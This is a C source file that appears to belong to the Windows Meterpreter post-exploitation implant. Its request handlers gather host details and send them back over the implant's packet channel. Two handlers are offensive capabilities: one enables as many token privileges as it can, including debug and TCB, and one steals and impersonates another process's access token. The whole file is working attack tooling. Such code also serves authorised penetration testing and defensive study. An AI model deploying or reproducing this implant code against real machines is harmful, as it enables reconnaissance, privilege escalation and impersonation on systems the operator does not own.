#include "precomp.h"
#include "common_metapi.h"

#include <sddl.h>
#include <lm.h>
#include <psapi.h>

typedef NTSTATUS(WINAPI *PRtlGetVersion)(LPOSVERSIONINFOEXW);

/*!
 * @brief Add an environment variable / value pair to a response packet.
 * @param response The \c Response packet to add the values to.
 * @param envVar The name of the environment variable to add.
 * @param envVal The value of the environment.
 */
VOID add_env_pair(Packet *response, char * envVar, char *envVal)
{
	Tlv entries[2] = { 0 };

	if (envVal)
	{
		entries[0].header.type = TLV_TYPE_ENV_VARIABLE;
		entries[0].header.length = (DWORD)strlen(envVar) + 1;
		entries[0].buffer = (PUCHAR)envVar;

		entries[1].header.type = TLV_TYPE_ENV_VALUE;
		entries[1].header.length = (DWORD)strlen(envVal) + 1;
		entries[1].buffer = (PUCHAR)envVal;

		met_api->packet.add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2);
	}
	else
	{
		dprintf("[ENV] No value found for %s", envVar);
	}
}

/*!
 * @brief Expand a given set of environment variables.
 * @param remote Pointer to the \c Remote instance making the request.
 * @param packet Pointer to the \c Request packet.
 * @remarks This will return a hash of the list of environment variables
 *          and their values, as requested by the caller.
 * @returns Indication of success or failure.
 */
DWORD request_sys_config_getenv(Remote *remote, Packet *packet)
{
	Packet *response = met_api->packet.create_response(packet);
	DWORD dwResult = ERROR_SUCCESS;
	DWORD dwTlvIndex = 0;
	Tlv envTlv;
	char* pEnvVarStart;
	char* pEnvVarEnd;

	do
	{
		while (ERROR_SUCCESS == met_api->packet.enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv))
		{
			pEnvVarStart = (char*)envTlv.buffer;

			dprintf("[ENV] Processing: %s", pEnvVarStart);

			// skip any '%' or '$' if they were specified.
			while (*pEnvVarStart != '\0' && (*pEnvVarStart == '$' || *pEnvVarStart == '%'))
			{
				++pEnvVarStart;
			}

			dprintf("[ENV] pEnvStart: %s", pEnvVarStart);

			pEnvVarEnd = pEnvVarStart;

			// if we're on windows, the caller might have passed in '%' at the end, so remove that
			// if it's there.
			while (*pEnvVarEnd != '\0')
			{
				if (*pEnvVarEnd == '%')
				{
					// terminate it here instead
					*pEnvVarEnd = '\0';
					break;
				}
				++pEnvVarEnd;
			}

			dprintf("[ENV] Final env var: %s", pEnvVarStart);

			// grab the value of the variable and stick it in the response.
			PWCHAR name = met_api->string.utf8_to_wchar(pEnvVarStart);
			//Ensure we always have > 0 bytes even if env var doesn't exist
			DWORD envlen = GetEnvironmentVariableW(name, NULL, 0) + 1;
			PWCHAR wvalue = (PWCHAR)malloc(envlen * sizeof(WCHAR));
			GetEnvironmentVariableW(name, wvalue, envlen);
			free(name);
			char* value = met_api->string.wchar_to_utf8(wvalue);
			free(wvalue);
			add_env_pair(response, pEnvVarStart, value);
			free(value);

			dprintf("[ENV] Env var added");
		}
	} while (0);

	dprintf("[ENV] Transmitting response.");
	met_api->packet.transmit_response(dwResult, remote, response);

	dprintf("[ENV] done.");
	return dwResult;
}

/*
 * @brief Get the token information for the current thread/process.
 * @param pTokenUser Buffer to receive the token data.
 * @param dwBufferSize Size of the buffer that will receive the token data.
 * @returns Indication of success or failure.
 */
DWORD get_user_token(LPVOID pTokenUser, DWORD dwBufferSize)
{
	DWORD dwResult = 0;
	DWORD dwReturnedLength = 0;
	HANDLE hToken;

	do
	{
		if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken))
		{
			if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
			{
				BREAK_ON_ERROR("[TOKEN] Failed to get a valid token for thread/process.");
			}
		}

		if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwBufferSize, &dwReturnedLength))
		{
			BREAK_ON_ERROR("[TOKEN] Failed to get token information for thread/process.");
		}

		dwResult = ERROR_SUCCESS;
	} while (0);

	return dwResult;
}

/*
 * @brief Get the SID of the current process/thread.
 * @param pRemote Pointer to the \c Remote instance.
 * @param pRequest Pointer to the \c Request packet.
 * @returns Indication of success or failure.
 */
DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest)
{
	DWORD dwResult;
	BYTE tokenUserInfo[4096];
	LPSTR pSid = NULL;
	Packet *pResponse = met_api->packet.create_response(pRequest);

	do
	{
		dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo));
		if (dwResult != ERROR_SUCCESS)
		{
			break;
		}

		if (!ConvertSidToStringSidA(((TOKEN_USER*)tokenUserInfo)->User.Sid, &pSid))
		{
			BREAK_ON_ERROR("[GETSID] Unable to convert current SID to string");
		}

	} while (0);

	if (pSid != NULL)
	{
		met_api->packet.add_tlv_string(pResponse, TLV_TYPE_SID, pSid);
		LocalFree(pSid);
	}

	met_api->packet.transmit_response(dwResult, pRemote, pResponse);

	return dwResult;
}

/*
 * @brief Get the UID of the current process/thread.
 * @param pRequest Pointer to the \c Request packet.
 * @returns Indication of success or failure.
 * @remark This is a helper function that does the grunt work
 *         for getting the user details which is used in a few
 *         other locations.
 */
DWORD populate_uid(Packet* pResponse)
{
	DWORD dwResult;
	WCHAR cbUserOnly[512], cbDomainOnly[512];
	CHAR cbUsername[1024];
	BYTE tokenUserInfo[4096];
	DWORD dwUserSize = sizeof(cbUserOnly), dwDomainSize = sizeof(cbDomainOnly);
	DWORD dwSidType = 0;

	memset(cbUsername, 0, sizeof(cbUsername));
	memset(cbUserOnly, 0, sizeof(cbUserOnly));
	memset(cbDomainOnly, 0, sizeof(cbDomainOnly));

	do
	{
		if ((dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo))) != ERROR_SUCCESS)
		{
			dprintf("[POPUID] unable to get user token");
			break;
		}

		if (!LookupAccountSidW(NULL, ((TOKEN_USER*)tokenUserInfo)->User.Sid, cbUserOnly, &dwUserSize, cbDomainOnly, &dwDomainSize, (PSID_NAME_USE)&dwSidType))
		{
			BREAK_ON_ERROR("[GETUID] Failed to lookup the account SID data");
		}

		char *domainName = met_api->string.wchar_to_utf8(cbDomainOnly);
		char *userName = met_api->string.wchar_to_utf8(cbUserOnly);
 		// Make full name in DOMAIN\USERNAME format
		_snprintf(cbUsername, 512, "%s\\%s", domainName, userName);
		free(domainName);
		free(userName);
		cbUsername[511] = '\0';

		met_api->packet.add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername);

		dwResult = EXIT_SUCCESS;
	} while (0);

	return dwResult;
}

/*
 * @brief Get the user name of the current process/thread.
 * @param pRemote Pointer to the \c Remote instance.
 * @param pRequest Pointer to the \c Request packet.
 * @returns Indication of success or failure.
 */
DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket)
{
	Packet *pResponse = met_api->packet.create_response(pPacket);
	DWORD dwResult = ERROR_SUCCESS;

	dwResult = populate_uid(pResponse);

	// Transmit the response
	met_api->packet.transmit_response(dwResult, pRemote, pResponse);

	return dwResult;
}

/*
 * @brief Drops an existing thread token.
 * @param pRemote Pointer to the \c Remote instance.
 * @param pRequest Pointer to the \c Request packet.
 * @returns Indication of success or failure.
 */
DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket)
{
	Packet* pResponse = met_api->packet.create_response(pPacket);
	DWORD dwResult = ERROR_SUCCESS;

	met_api->thread.update_token(pRemote, NULL);
	dwResult = populate_uid(pResponse);

	// Transmit the response
	met_api->packet.transmit_response(dwResult, pRemote, pResponse);

	return dwResult;
}

/*
 * sys_getprivs
 * ----------
 *
 * Obtains as many privileges as possible
 * Based on the example at http://nibuthomas.com/tag/openprocesstoken/
 */
DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
{
	Packet *response = met_api->packet.create_response(packet);
	DWORD res = ERROR_SUCCESS;
	HANDLE token = NULL;
	int x;
	TOKEN_PRIVILEGES priv = { 0 };
	LPCTSTR privs[] = {
		SE_ASSIGNPRIMARYTOKEN_NAME,
		SE_AUDIT_NAME,
		SE_BACKUP_NAME,
		SE_CHANGE_NOTIFY_NAME,
		SE_CREATE_GLOBAL_NAME,
		SE_CREATE_PAGEFILE_NAME,
		SE_CREATE_PERMANENT_NAME,
		SE_CREATE_SYMBOLIC_LINK_NAME,
		SE_CREATE_TOKEN_NAME,
		SE_DEBUG_NAME,
		SE_ENABLE_DELEGATION_NAME,
		SE_IMPERSONATE_NAME,
		SE_INC_BASE_PRIORITY_NAME,
		SE_INCREASE_QUOTA_NAME,
		SE_INC_WORKING_SET_NAME,
		SE_LOAD_DRIVER_NAME,
		SE_LOCK_MEMORY_NAME,
		SE_MACHINE_ACCOUNT_NAME,
		SE_MANAGE_VOLUME_NAME,
		SE_PROF_SINGLE_PROCESS_NAME,
		SE_RELABEL_NAME,
		SE_REMOTE_SHUTDOWN_NAME,
		SE_RESTORE_NAME,
		SE_SECURITY_NAME,
		SE_SHUTDOWN_NAME,
		SE_SYNC_AGENT_NAME,
		SE_SYSTEM_ENVIRONMENT_NAME,
		SE_SYSTEM_PROFILE_NAME,
		SE_SYSTEMTIME_NAME,
		SE_TAKE_OWNERSHIP_NAME,
		SE_TCB_NAME,
		SE_TIME_ZONE_NAME,
		SE_TRUSTED_CREDMAN_ACCESS_NAME,
		SE_UNDOCK_NAME,
		SE_UNSOLICITED_INPUT_NAME,
		NULL
	};

	do
	{
		if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
		{
			res = GetLastError();
			dprintf("[GETPRIVS] Failed to open the process token: %u 0x%x", res, res);
			break;
		}

		for (x = 0; privs[x]; ++x)
		{
			memset(&priv, 0, sizeof(priv));
			LookupPrivilegeValue(NULL, privs[x], &priv.Privileges[0].Luid);
			priv.PrivilegeCount = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			if (AdjustTokenPrivileges(token, FALSE, &priv, 0, 0, 0))
			{
				if (GetLastError() == ERROR_SUCCESS)
				{
					dprintf("[GETPRIVS] Got Priv %s", privs[x]);
					met_api->packet.add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]);
				}
			}
			else
			{
				dprintf("[GETPRIVS] Failed to set privilege %s (%u)", privs[x], GetLastError());
			}
		}
	} while (0);

	if (token)
	{
		CloseHandle(token);
	}

	// Transmit the response
	met_api->packet.transmit_response(res, remote, response);

	return res;
}

/*
 * sys_steal_token
 * ----------
 *
 * Steals the primary token from an existing process
 */
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
{
	Packet *response = met_api->packet.create_response(packet);
	DWORD dwResult = ERROR_SUCCESS;
	HANDLE hToken = NULL;
	HANDLE hProcessHandle = NULL;
	HANDLE hDupToken = NULL;
	DWORD dwPid;

	do
	{
		// Get the process identifier that we're attaching to, if any.
		dwPid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PID);

		if (!dwPid)
		{
			dprintf("[STEAL-TOKEN] invalid pid");
			dwResult = -1;
			break;
		}

		hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);

		if (!hProcessHandle)
		{
			dwResult = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", dwPid, dwResult);
			break;
		}

		if (!OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken))
		{
			dwResult = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", dwPid, dwResult);
			break;
		}

		if (!ImpersonateLoggedOnUser(hToken))
		{
			dwResult = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", dwPid, dwResult);
			break;
		}

		if (!DuplicateTokenEx(hToken, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityIdentification, TokenPrimary, &hDupToken))
		{
			dwResult = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", dwPid, dwResult);
			break;
		}

		dprintf("[STEAL-TOKEN] so far so good, updating thread token");
		met_api->thread.update_token(remote, hDupToken);

		dprintf("[STEAL-TOKEN] populating UID");
		dwResult = populate_uid(response);
	} while (0);

	if (hProcessHandle)
	{
		CloseHandle(hProcessHandle);
	}

	if (hToken)
	{
		CloseHandle(hToken);
	}
	// Transmit the response
	met_api->packet.transmit_response(dwResult, remote, response);

	return dwResult;
}

DWORD add_windows_os_version(Packet** packet)
{
	DWORD dwResult = ERROR_SUCCESS;
	CHAR buffer[512] = { 0 };

	do
	{
		HMODULE hNtdll = GetModuleHandleA("ntdll");
		if (hNtdll == NULL)
		{
			BREAK_ON_ERROR("[SYSINFO] Failed to load ntoskrnl");
		}

		PRtlGetVersion pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
		if (pRtlGetVersion == NULL)
		{
			BREAK_ON_ERROR("[SYSINFO] Couldn't find RtlGetVersion in ntoskrnl");
		}

		OSVERSIONINFOEXW v = { 0 };
		v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);

		if (0 != pRtlGetVersion(&v))
		{
			dwResult = ERROR_INVALID_DLL;
			dprintf("[SYSINFO] Unable to get OS version with RtlGetVersion");
			break;
		}

		dprintf("[VERSION] Major   : %u", v.dwMajorVersion);
		dprintf("[VERSION] Minor   : %u", v.dwMinorVersion);
		dprintf("[VERSION] Build   : %u", v.dwBuildNumber);
		dprintf("[VERSION] Maint   : %S", v.szCSDVersion);
		dprintf("[VERSION] Platform: %u", v.dwPlatformId);
		dprintf("[VERSION] Type    : %hu", v.wProductType);
		dprintf("[VERSION] SP Major: %hu", v.wServicePackMajor);
		dprintf("[VERSION] SP Minor: %hu", v.wServicePackMinor);
		dprintf("[VERSION] Suite   : %hu", v.wSuiteMask);

		CHAR* osName = NULL;

		if (v.dwMajorVersion == 3)
		{
			osName = "Windows NT 3.51";
		}
		else if (v.dwMajorVersion == 4)
		{
			if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
			{
				osName = "Windows 95";
			}
			else if (v.dwMinorVersion == 10)
			{
				osName = "Windows 98";
			}
			else if (v.dwMinorVersion == 90)
			{
				osName = "Windows ME";
			}
			else if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_NT)
			{
				osName = "Windows NT 4.0";
			}
		}
		else if (v.dwMajorVersion == 5)
		{
			if (v.dwMinorVersion == 0)
			{
				osName = "Windows 2000";
			}
			else if (v.dwMinorVersion == 1)
			{
				osName = "Windows XP";
			}
			else if (v.dwMinorVersion == 2)
			{
				osName = "Windows .NET Server";
			}
		}
		else if (v.dwMajorVersion == 6)
		{
			if (v.dwMinorVersion == 0)
			{
				osName = v.wProductType == VER_NT_WORKSTATION ? "Windows Vista" : "Windows 2008";
			}
			else if (v.dwMinorVersion == 1)
			{
				osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 7" : "Windows 2008 R2";
			}
			else if (v.dwMinorVersion == 2)
			{
				osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 8" : "Windows 2012";
			}
			else if (v.dwMinorVersion == 3)
			{
				osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 8.1" : "Windows 2012 R2";
			}
		}
		else if (v.dwMajorVersion == 10)
		{
			if (v.dwMinorVersion == 0)
			{
				osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 10" : "Windows 2016+";
			}
		}

		if (!osName)
		{
			osName = "Unknown";
		}

		if (wcslen(v.szCSDVersion) > 0)
		{
			_snprintf(buffer, sizeof(buffer)-1, "%s (%u.%u Build %u, %S).", osName, v.dwMajorVersion, v.dwMinorVersion, v.dwBuildNumber, v.szCSDVersion);
		}
		else
		{
			_snprintf(buffer, sizeof(buffer)-1, "%s (%u.%u Build %u).", osName, v.dwMajorVersion, v.dwMinorVersion, v.dwBuildNumber);
		}

		dprintf("[VERSION] Version set to: %s", buffer);
		met_api->packet.add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer);
	} while (0);

	return dwResult;
}

/*
 * @brief Handle the request to get local date/time information.
 * @param remote Pointer to the remote instance.
 * @param packet Pointer to the request packet.
 * @return Indication of success or failure.
 */
DWORD request_sys_config_localtime(Remote* remote, Packet* packet)
{
	Packet *response = met_api->packet.create_response(packet);
	DWORD result = ERROR_SUCCESS;
	char dateTime[128] = { 0 };

	TIME_ZONE_INFORMATION tzi = { 0 };
	SYSTEMTIME localTime = { 0 };

	DWORD tziResult = GetTimeZoneInformation(&tzi);
	GetLocalTime(&localTime);

	_snprintf_s(dateTime, sizeof(dateTime), sizeof(dateTime) - 1, "%d-%02d-%02d %02d:%02d:%02d.%d %S (UTC%s%d)",
		localTime.wYear, localTime.wMonth, localTime.wDay,
		localTime.wHour, localTime.wMinute, localTime.wSecond, localTime.wMilliseconds,
		tziResult == TIME_ZONE_ID_DAYLIGHT ? tzi.DaylightName : tzi.StandardName,
		tzi.Bias > 0 ? "-" : "+", abs(tzi.Bias / 60 * 100));

	dprintf("[SYSINFO] Local Date/Time: %s", dateTime);
	met_api->packet.add_tlv_string(response, TLV_TYPE_LOCAL_DATETIME, dateTime);

	// Transmit the response
	met_api->packet.transmit_response(result, remote, response);

	return result;
}

/*
 * sys_sysinfo
 * ----------
 *
 * Get system information such as computer name and OS version
 */
DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
{
	Packet *response = met_api->packet.create_response(packet);
	CHAR computer[512], buf[512], * osArch = NULL;
	DWORD res = ERROR_SUCCESS;
	DWORD size = sizeof(computer);
	HMODULE hKernel32;

	memset(computer, 0, sizeof(computer));
	memset(buf, 0, sizeof(buf));

	do
	{
		// Get the computer name
		if (!GetComputerName(computer, &size))
		{
			res = GetLastError();
			break;
		}

		met_api->packet.add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, computer);
		add_windows_os_version(&response);

		// sf: we dynamically retrieve GetNativeSystemInfo & IsWow64Process as NT and 2000 dont support it.
		hKernel32 = LoadLibraryA("kernel32.dll");
		if (hKernel32)
		{
			typedef void (WINAPI * GETNATIVESYSTEMINFO)(LPSYSTEM_INFO lpSystemInfo);
			typedef BOOL(WINAPI * ISWOW64PROCESS)(HANDLE, PBOOL);
			GETNATIVESYSTEMINFO pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress(hKernel32, "GetNativeSystemInfo");
			ISWOW64PROCESS pIsWow64Process = (ISWOW64PROCESS)GetProcAddress(hKernel32, "IsWow64Process");
			if (pGetNativeSystemInfo)
			{
				SYSTEM_INFO SystemInfo;
				pGetNativeSystemInfo(&SystemInfo);
				switch (SystemInfo.wProcessorArchitecture)
				{
				case PROCESSOR_ARCHITECTURE_AMD64:
					osArch = "x64";
					break;
				case PROCESSOR_ARCHITECTURE_IA64:
					osArch = "IA64";
					break;
				case PROCESSOR_ARCHITECTURE_INTEL:
					osArch = "x86";
					break;
				default:
					break;
				}
			}
		}
		// if we havnt set the arch it is probably because we are on NT/2000 which is x86
		if (!osArch)
		{
			osArch = "x86";
		}

		dprintf("[SYSINFO] Arch set to: %s", osArch);
		met_api->packet.add_tlv_string(response, TLV_TYPE_ARCHITECTURE, osArch);

		if (hKernel32)
		{
			char * ctryname = NULL, *langname = NULL;
			typedef LANGID(WINAPI * GETSYSTEMDEFAULTLANGID)(VOID);
			GETSYSTEMDEFAULTLANGID pGetSystemDefaultLangID = (GETSYSTEMDEFAULTLANGID)GetProcAddress(hKernel32, "GetSystemDefaultLangID");
			if (pGetSystemDefaultLangID)
			{
				LANGID langId = pGetSystemDefaultLangID();

				int len = GetLocaleInfo(langId, LOCALE_SISO3166CTRYNAME, 0, 0);
				if (len > 0)
				{
					ctryname = (char *)malloc(len);
					GetLocaleInfo(langId, LOCALE_SISO3166CTRYNAME, ctryname, len);
				}

				len = GetLocaleInfo(langId, LOCALE_SISO639LANGNAME, 0, 0);
				if (len > 0)
				{
					langname = (char *)malloc(len);
					GetLocaleInfo(langId, LOCALE_SISO639LANGNAME, langname, len);
				}
			}

			if (!ctryname || !langname)
			{
				_snprintf(buf, sizeof(buf)-1, "Unknown");
			}
			else
			{
				_snprintf(buf, sizeof(buf)-1, "%s_%s", langname, ctryname);
			}

			met_api->packet.add_tlv_string(response, TLV_TYPE_LANG_SYSTEM, buf);

			if (ctryname)
			{
				free(ctryname);
			}

			if (langname)
			{
				free(langname);
			}
		}

		LPWKSTA_INFO_102 localSysinfo = NULL;

		if (NetWkstaGetInfo(NULL, 102, (LPBYTE *)&localSysinfo) == NERR_Success)
		{
			char *domainName = met_api->string.wchar_to_utf8(localSysinfo->wki102_langroup);
			met_api->packet.add_tlv_string(response, TLV_TYPE_DOMAIN, (LPCSTR)domainName);
			met_api->packet.add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users);
			free(domainName);
		}
		else
		{
			dprintf("[CONFIG] Failed to get local system info for logged on user count / domain");
		}
	} while (0);

	// Transmit the response
	met_api->packet.transmit_response(res, remote, response);

	return res;
}


/*
 * sys_config_rev2self
 *
 * Calls RevertToSelf()
 */
DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
{
	DWORD dwResult    = ERROR_SUCCESS;
	Packet * response = NULL;

	do
	{
		response = met_api->packet.create_response(packet);
		if (!response)
		{
			dwResult = ERROR_INVALID_HANDLE;
			break;
		}

		met_api->thread.update_token(remote, NULL);

		met_api->desktop.update(remote, -1, NULL, NULL);

		if (!RevertToSelf())
			dwResult = GetLastError();

	} while(0);

	if (response)
		met_api->packet.transmit_response(dwResult, remote, response);

	return dwResult;
}

/*!
 * @brief Handle the driver list function call.
 */
DWORD request_sys_config_driver_list(Remote *remote, Packet *packet)
{
	Packet* response = met_api->packet.create_response(packet);
	DWORD result = ERROR_SUCCESS;

	LPVOID ignored = NULL;
	DWORD sizeNeeded = 0;

	// start by getting the size required to store the driver list
	EnumDeviceDrivers(&ignored, sizeof(ignored), &sizeNeeded);

	if (sizeNeeded > 0)
	{
		dprintf("[CONFIG] Size required for driver list: %u 0x%x", sizeNeeded, sizeNeeded);

		LPVOID* driverList = (LPVOID*)malloc(sizeNeeded);
		if (driverList)
		{
			if (EnumDeviceDrivers(driverList, sizeNeeded, &sizeNeeded))
			{
				wchar_t baseName[MAX_PATH];
				wchar_t fileName[MAX_PATH];
				DWORD driverCount = sizeNeeded / sizeof(LPVOID);
				dprintf("[CONFIG] Total driver handles: %u", driverCount);

				for (DWORD i = 0; i < driverCount; ++i)
				{
					BOOL valid = TRUE;

					if (!GetDeviceDriverBaseNameW(driverList[i], baseName, MAX_PATH))
					{
						dprintf("[CONFIG] %d Driver base name read failed: %u 0x%x", i, GetLastError(), GetLastError());
						// null terminate the string at the start, indicating that it's invalid
						baseName[0] = L'\x00';
					}
					else
					{
						dprintf("[CONFIG] %d Driver basename: %S", i, baseName);
					}

					if (!GetDeviceDriverFileNameW(driverList[i], fileName, MAX_PATH))
					{
						dprintf("[CONFIG] %d Driver file name read failed: %u 0x%x", i, GetLastError(), GetLastError());

						// null terminate the string at the start, indicating that it's invalid
						fileName[0] = L'\x00';

						// we'll mark the entry as invalid if both calls failed.
						valid = baseName[0] != L'\x00';
					}
					else
					{
						dprintf("[CONFIG] %d Driver filename: %S", i, fileName);
					}

					if (valid)
					{
						Packet* entry = met_api->packet.create_group();

						char* bn = met_api->string.wchar_to_utf8(baseName);
						met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_BASENAME, bn);
						free(bn);

						char* fn = met_api->string.wchar_to_utf8(fileName);
						met_api->packet.add_tlv_string(entry, TLV_TYPE_DRIVER_FILENAME, fn);
						free(fn);

						met_api->packet.add_group(response, TLV_TYPE_DRIVER_ENTRY, entry);
					}
				}
			}

			free(driverList);
		}
		else
		{
			result = ERROR_OUTOFMEMORY;
		}
	}

	met_api->packet.transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}